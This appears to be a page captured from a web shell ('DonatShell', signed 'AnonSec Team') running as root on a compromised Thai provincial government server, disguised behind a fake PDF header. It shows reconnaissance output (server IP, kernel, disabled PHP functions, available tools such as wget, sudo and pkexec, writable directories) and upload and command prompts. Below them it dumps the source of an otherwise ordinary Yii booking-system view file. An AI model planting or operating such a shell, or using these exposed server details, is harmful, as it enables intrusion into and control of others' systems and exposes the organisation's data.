%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/thread-self/root/var/www/html/ppaobm/backend/modules/booking_data/views/bookingdata/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/thread-self/root/var/www/html/ppaobm/backend/modules/booking_data/views/bookingdata/view.php
<?php

use yii\helpers\Html;
use yii\widgets\DetailView;
use backend\models\Profile;
use backend\modules\department_type\models\DepartmentType;
use backend\modules\location_center\models\LocationCenter;
use backend\modules\location_room\models\LocationRoom;
use dominus77\sweetalert2\Alert;
use yii\bootstrap\Modal;
use yii\helpers\Url;

/* @var $this yii\web\View */
/* @var $model backend\modules\booking_data\models\BookingData */

$this->title = 'ข้อมูลการขอใช้ห้องประชุมและอาคารสถานที่';
$this->params['breadcrumbs'][] = ['label' => 'Booking Datas', 'url' => ['index']];
$this->params['breadcrumbs'][] = $this->title;
\yii\web\YiiAsset::register($this);
?>
<?php
$JSDayClick = <<<EOF
        function(date, jsEvent, view, resourceObj) {
            var booking_room_date = $(this).attr('data-date');
            var booking_room_name = $(this).attr('id');
            $.get('/bookingdata/booking-data/create_2',{'booking_room_name':booking_room_name,'booking_room_date':booking_room_date}, function (data) {
                $('#modal-eventcreate-bookingdata').modal('show')
                .find('#modalContent-eventcreate-bookingdata')
                .html(data);
            });
        }
EOF;
$JSEventClick = <<<EOF
        function(calEvent, jsEvent, view) {
//            alert('Event: ' + calEvent.id);
//            alert('Coordinates: ' + jsEvent.pageX + ',' + jsEvent.pageY);
//            alert('View: ' + view.name);
            $.get('/bookingdata/booking-data/update_2',{'id':calEvent.id}, function (data) {
                $('#modal-eventedit-bookingdata').modal('show')
                .find('#modalContent-eventedit-bookingdata')
                .html(data);
            });
        }
EOF;
$JSEventMouseover = <<<EOF
        function(event, jsEvent, element) {
            $(this).popover({
                placement: 'auto',
                trigger: 'hover',
                animation: true,
                html: true,
                title: "<div id='popoverbmtitle'>เวลา "+event.nonstandard.start+" น. - "+event.nonstandard.end+" น.</div>",
                content: "<ul id='ulppaobm'><li>"+event.nonstandard.location+"</li><li>"+event.nonstandard.room+"</li><li>"+event.nonstandard.title+"</li><li>จำนวนผู้เข้าใช้ "+event.nonstandard.num_user+" คน</li></ul>",
                container: 'body',
            }).popover('toggle');
        
        }
EOF;
$JSDayRender = <<<EOF
        function(date, cell) {
            var theDate = $(cell).data('date');
            var fcDaySkel = $("#calendar div.fc-bg td[data-date='"+theDate+"'].fc-day");
            fcDaySkel.attr("id","1");
        }
EOF;
$JSEventRender = <<<EOF
        function(event, element) {
            element.find(".fc-title").html(event.title);
            element.find(".fc-time").html('');
        }
EOF;
?>
<?php
Modal::begin([
    'header' => '<div class="modal-header-cancel">ไม่อนุมัติ</div>',
    'id' => 'modal-cancel-bookingdata',
    'size' => 'modal-lg',
    'options' => ['class' => ' '],
]);
echo "<div id='modalContent-cancel-bookingdata'></div>";
echo "<div class='modal-footer'></div>";
Modal::end();
?>
<div class="content-wrapper">
    <section class="content-header">
        <h1>
            <?= Html::a('<i class="fa fa-chevron-left"></i> ย้อนกลับ', ['/booking_data/bookingdata/index'], ['class' => 'btn bg-light-blue']) ?> <?= Html::encode($this->title) ?>
            <small>ศูนย์ประสานแผนพัฒนาท้องถิ่นประจำอำเภอ</small>
        </h1>
    </section>
    <section class="content">
        <div class="booking-data-view">
            <div class="row">
                <div class="col-md-6">
                    <div class="box box-primary">
                        <div class="box-header with-border">
                            <h3 class="box-title">ข้อมูลผู้ยื่นคำร้อง</h3>
                        </div>
                        <div class="box-body">
                            <div class="alert alert-danger" role="alert">
                                <strong>
                                    หมายเหตุ!!  
                                </strong>
                                กรุณาตรวจสอบสถานที่/วันที่/และแวลา ว่าซ้ำกันหรือไม่ ก่อนการอนุมัติ
                            </div>
                            <p style="text-align: center">
                                <?php
                                $buttondelete = Html::a('<span class="fa fa-trash"></span> ลบข้อมูล', ['delete', 'id' => $model->id], [
                                            'class' => 'btn btn-lg btn-danger m-btn m-btn--custom',
                                            'data-pjax' => '0',
                                            'data' => [
                                                'confirm' => '<h3 style="font-weight: bold;" class="text-center">คุณต้องการลบข้อมูลนี้</h3>',
                                                'method' => 'post',
                                            ],
                                            'data-toggle' => 'tooltip',
                                            'title' => 'ลบข้อมูล',
                                            'type' => 'warning'
                                ]);
                                $buttonedit = Html::a('<span class="fa fa-edit"></span> แก้ไขข้อมูล', ['update', 'id' => $model->id], [
                                            'class' => 'btn btn-lg btn-info m-btn m-btn--custom',
                                            'data-pjax' => '0',
                                            'data' => [
                                                'confirm' => '<h3 style="font-weight: bold;" class="text-center">คุณต้องการแก้ไขข้อมูลนี้</h3>',
                                                'method' => 'post',
                                            ],
                                            'data-toggle' => 'tooltip',
                                            'title' => 'ยืนยัน',
                                            'type' => 'warning'
                                ]);
                                $button1 = Html::button('<i class="fa fa-check-circle"> </i> อนุมัติแล้ว', ['class' => 'btn btn-success m-btn m-btn--custom btn-lg', 'disabled' => 'disabled']);
                                $button2 = Html::a('<i class="fa fa-check"> </i> อนุมัติ', ['ppaobmset', 'id' => $model->id], [
                                            'class' => 'btn btn-lg btn-success m-btn m-btn--custom',
                                            'data-pjax' => '0',
                                            'data' => [
                                                'confirm' => '<h4 style="font-weight: bold;" class="text-center">คุณต้องการ อนุมัติการขอใช้ห้องประชุมและอาคารสถานที่</h4>',
                                                'method' => 'post',
                                            ],
                                            'data-toggle' => 'tooltip',
                                            'title' => 'ยืนยัน',
                                            'type' => 'warning'
                                ]);
                                $button3 = Html::a('<i class="fa fa-check"> </i> ยกเลิกการอนุมัติ', ['ppaobmunset', 'id' => $model->id], [
                                            'class' => 'btn btn-lg btn-warning m-btn m-btn--custom',
                                            'data-pjax' => '0',
                                            'data' => [
                                                'confirm' => '<h4 style="font-weight: bold;" class="text-center">คุณต้องการ ยกเลิกการอนุมัติการขอใช้ห้องประชุมและอาคารสถานที่</h4>',
                                                'method' => 'post',
                                            ],
                                            'data-toggle' => 'tooltip',
                                            'title' => 'ยกเลิกการยืนยัน',
                                            'type' => 'warning'
                                ]);
//                                $button4 = Html::a('<i class="fa fa-times"> </i> ไม่อนุมัติ', ['ppaobmcancelset', 'id' => $model->id], [
//                                            'class' => 'btn btn-lg btn-warning m-btn m-btn--custom',
//                                            'id' => 'modal-bookingdata-cancel-button',
//                                            'data-pjax' => '0',
//                                            'data' => [
//                                                'confirm' => '<h4 style="font-weight: bold;" class="text-center">คุณต้องการ ไม่อนุมัติการขอใช้ห้องประชุมและอาคารสถานที่</h4>',
//                                                'method' => 'post',
//                                            ],
//                                            'data-toggle' => 'tooltip',
//                                            'title' => 'ไม่อนุมัติ',
//                                            'type' => 'danger'
//                                ]);
                                $button4 = Html::button('<i class="fa fa-times"> </i> ไม่อนุมัติ', [
                                            'class' => 'btn btn-lg btn-warning m-btn m-btn--custom',
                                            'id' => 'modal-bookingdata-cancel-button',
                                            'value' => Url::to(['/booking_data/bookingdata/cancel', 'id' => $model->id]),
                                ]);

                                if ($model->status == 0) {
                                    echo $buttondelete . '  ' . $buttonedit . '  ' . $button2 . '  ' . $button4;
                                }
                                if ($model->status == 1) {
                                    echo $buttondelete . '  ' . $buttonedit . '  ' . $button3;
                                }
                                if ($model->status == 2) {
                                    echo $buttondelete . '  ' . $buttonedit . '  ' . $button2;
                                }
                                ?>
                            </p>
                            <?=
                            DetailView::widget([
                                'model' => $model,
                                'template' => '<tr><th width="250px">{label}</th><td><span style="font-weight: 600;">{value}</span></td></tr>',
                                'attributes' => [
                                    [
                                        'label' => 'สถานะ',
                                        'attribute' => 'status',
                                        'format' => 'raw',
                                        'value' => function ($model) {
                                            if ($model->status == 0) {
                                                return '<span class="badgeadmin bg-teal">รอการอนุมัติ</span>';
                                            }
                                            if ($model->status == 1) {
                                                return '<span class="badgeadmin bg-green">อนุมัติแล้ว</span>';
                                            }
                                            if ($model->status == 2) {
                                                return '<span class="badgeadmin bg-red">ไม่อนุมัติ</span><br><small>เนื่องจาก : ' . $model->cancel . '</small>';
                                            }
                                        },
                                    ],
                                    'id',
                                    [
                                        'label' => 'วันที่บันทึกข้อมูล',
                                        'attribute' => 'created_at',
                                        'value' => function ($model) {
                                            return Yii::$app->thaiFormatter->asDateTime($model->created_at, 'php:วันที่ d F Y');
                                        },
                                    ],
                                    [
                                        'label' => 'ขอใช้วันที่',
                                        'attribute' => 'datein',
                                        'value' => function ($model) {
                                            return Yii::$app->thaiFormatter->asDateTime($model->datein, 'php:วันที่ d F Y เวลา H:s น.');
                                        },
                                    ],
                                    [
                                        'label' => 'ขอใช้ถึงวันที่',
                                        'attribute' => 'dateon',
                                        'value' => function ($model) {
                                            return Yii::$app->thaiFormatter->asDateTime($model->dateon, 'php:วันที่ d F Y เวลา H:s น.');
                                        },
                                    ],
                                    'name',
                                    'pin',
                                    'department_name',
                                    [
                                        'attribute' => 'department_type_id',
                                        'value' => function ($model) {
                                            $model = DepartmentType::find()->where(['id' => $model->department_type_id])->one();
                                            return $model->name;
                                        },
                                    ],
                                    'tel',
                                    [
                                        'attribute' => 'picture',
                                        'format' => 'raw',
                                        'value' => function ($model) {
                                            if ($model->picture !== "") {
                                                return Html::a('ดาวน์โหลด', ['@web/files/' . $model->picture], [
                                                            'target' => '_blank',
                                                ]);
                                            } else {
                                                return 'ไม่มีไฟล์';
                                            }
                                        },
                                        'visible' => Yii::$app->params['picture'] ? true : false
                                    ],
                                    [
                                        'attribute' => 'location_center_id',
                                        'value' => function ($model) {
                                            $model = LocationCenter::find()->where(['id' => $model->location_center_id])->one();
                                            return $model->name;
                                        },
                                    ],
                                    [
                                        'attribute' => 'location_room_id',
                                        'value' => function ($model) {
                                            $model = LocationRoom::find()->where(['id' => $model->location_room_id])->one();
                                            return $model->name;
                                        },
                                    ],
                                    'num_user',
                                    'comment:ntext',
                                    'waivefees',
                                    'cost',
                                    [
                                        'attribute' => 'filename',
                                        'format' => 'raw',
                                        'value' => function ($model) {
                                            if ($model->filename !== "") {
                                                return Html::a('ดาวน์โหลด', ['@web/files/' . $model->filename], [
                                                            'target' => '_blank',
                                                ]);
                                            } else {
                                                return 'ไม่มีไฟล์เอกสาร';
                                            }
                                        },
                                    ],
                                    [
                                        'label' => 'ผู้บันทึกข้อมูล',
                                        'attribute' => 'user_id',
                                        'value' => function ($model) {
                                            $modeluser = Profile::find()->where(['user_id' => $model->user_id])->one();
                                            if ($modeluser) {
                                                return $modeluser->name;
                                            } else {
                                                return 'ผ่านเว็บไซต์';
                                            }
                                        },
                                    ],
                                    [
                                        'label' => 'เพิ่มเมื่อ',
                                        'attribute' => 'created_at',
                                        'value' => function ($model) {
                                            return Yii::$app->thaiFormatter->asDateTime($model->created_at, 'php:วันที่ d F Y เวลา H:i น.');
                                        },
                                    ],
                                    [
                                        'label' => 'แก้ไขเมื่อ',
                                        'attribute' => 'updated_at',
                                        'value' => function ($model) {
                                            return Yii::$app->thaiFormatter->asDateTime($model->updated_at, 'php:วันที่ d F Y เวลา H:i น.');
                                        },
                                    ],
                                ],
                            ])
                            ?>
                        </div>
                    </div>
                </div>
                <div class="col-md-6" id="calendar-booking">
                    <?php
                    $room_data = LocationCenter::find()->where(['id' => $model->location_center_id])->all();
                    foreach ($room_data as $row) {
                        $JSDayRender[$row->id] = <<<EOF
                                            function(date, cell) {
                                                var theDate = $(cell).data('date');
                                                var fcDaySkel = $("#calendar$row->id div.fc-bg td[data-date='"+theDate+"'].fc-day");
                                                fcDaySkel.attr("id","$row->id");
                                            }
EOF;
                        ?>
                        <div class="box">
                            <div class="box-header with-border" style="background-color: #<?= $row->color ?>">
                                <h3 class="box-title" style="color: #fff">
                                    ปฏิทินการใช้ห้องประชุมประจำศูนย์ <?= substr($row->name, 96); ?>
                                </h3>
                            </div>
                            <div class="m-portlet__body" style="padding: 1.2rem 1.2rem;">
                                <?php
                                ?>
                                <?php
                                echo edofre\fullcalendar\Fullcalendar::widget([
                                    'options' => [
                                        'id' => 'calendar' . $row->id,
                                        'language' => 'th',
                                        'class' => 'fc fc-unthemed fc-ltr',
                                    ],
                                    'header' => [
                                        'left' => 'prev,next',
                                        'right' => 'title',
                                        'center' => '',
                                    ],
                                    'clientOptions' => [
//                                    'contentHeight' => 'auto',
                                        'contentHeight' => 400,
                                        'defaultView' => 'month',
                                        'eventMouseover' => new \yii\web\JsExpression($JSEventMouseover),
//                                    'dayClick' => new \yii\web\JsExpression($JSDayClick),
//                                    'eventClick' => new \yii\web\JsExpression($JSEventClick),
//                                    'dayRender' => new \yii\web\JsExpression($JSDayRender[$row->id]),
                                        'eventRender' => new \yii\web\JsExpression($JSEventRender),
                                    ],
                                    'events' => Url::to(['/booking_data/bookingdata/jsoncalendar', 'id' => $row->id]),
                                    'theme' => true,
                                ]);
                                ?>
                            </div>
                        </div>
                        <?php
                    }
                    ?>
                </div>
                <?php if (Yii::$app->params['picture'] == true) { ?>
                    <div class="col-md-6">
                        <div class="box box-primary">
                            <div class="box-header with-border">
                                <h3 class="box-title">ภาพถ่ายบัตรประจำตัวข้าราชการ/พนักงาน/บัตรประชาชน</h3>
                            </div>
                            <div class="box-body">
                                <?php
                                if ($model->picture !== "") {
                                    $file = pathinfo($model->picture);
                                    if ($file['extension'] == 'jpg' or $file['extension'] == 'jpeg' or $file['extension'] == 'png') {
                                        echo Html::img('@back/files/' . $model->picture, ['class' => 'img-responsive']);
                                    } else {
                                        ?>
                                        <object data="https://adminbm.ppao.go.th/files/<?= $model->filename ?>" type="application/pdf" width="100%" height="1000px"></object>
                                        <?php
                                    }
                                } else {
//                                echo Html::img('@back/files/nodoc.png', ['class' => 'img-responsive']);
                                    echo 'ไม่มีไฟล์เอกสาร';
                                }
                                ?>
                            </div>
                        </div>
                    </div>
                <?php } ?>
                <div class="col-md-6">
                    <div class="box box-primary">
                        <div class="box-header with-border">
                            <h3 class="box-title">เอกสารขอใช้ห้องประชุมและอาคารสถานที่</h3>
                        </div>
                        <div class="box-body">
                            <?php
                            if ($model->filename !== "") {
                                $file = pathinfo($model->filename);
                                if ($file['extension'] == 'jpg' or $file['extension'] == 'jpeg' or $file['extension'] == 'png') {
                                    echo Html::img('@back/files/' . $model->filename, ['class' => 'img-responsive']);
                                } else {
                                    ?>
                                    <object data="https://adminbm.ppao.go.th/files/<?= $model->filename ?>" type="application/pdf" width="100%" height="1000px"></object>
                                    <?php
                                }
                            } else {
//                                echo Html::img('@back/files/nodoc.png', ['class' => 'img-responsive']);
                                echo 'ไม่มีไฟล์เอกสาร';
                            }
                            ?>
                        </div>
                    </div>
                </div>
            </div>
    </section>
</div>

Anon7 - 2022
AnonSec Team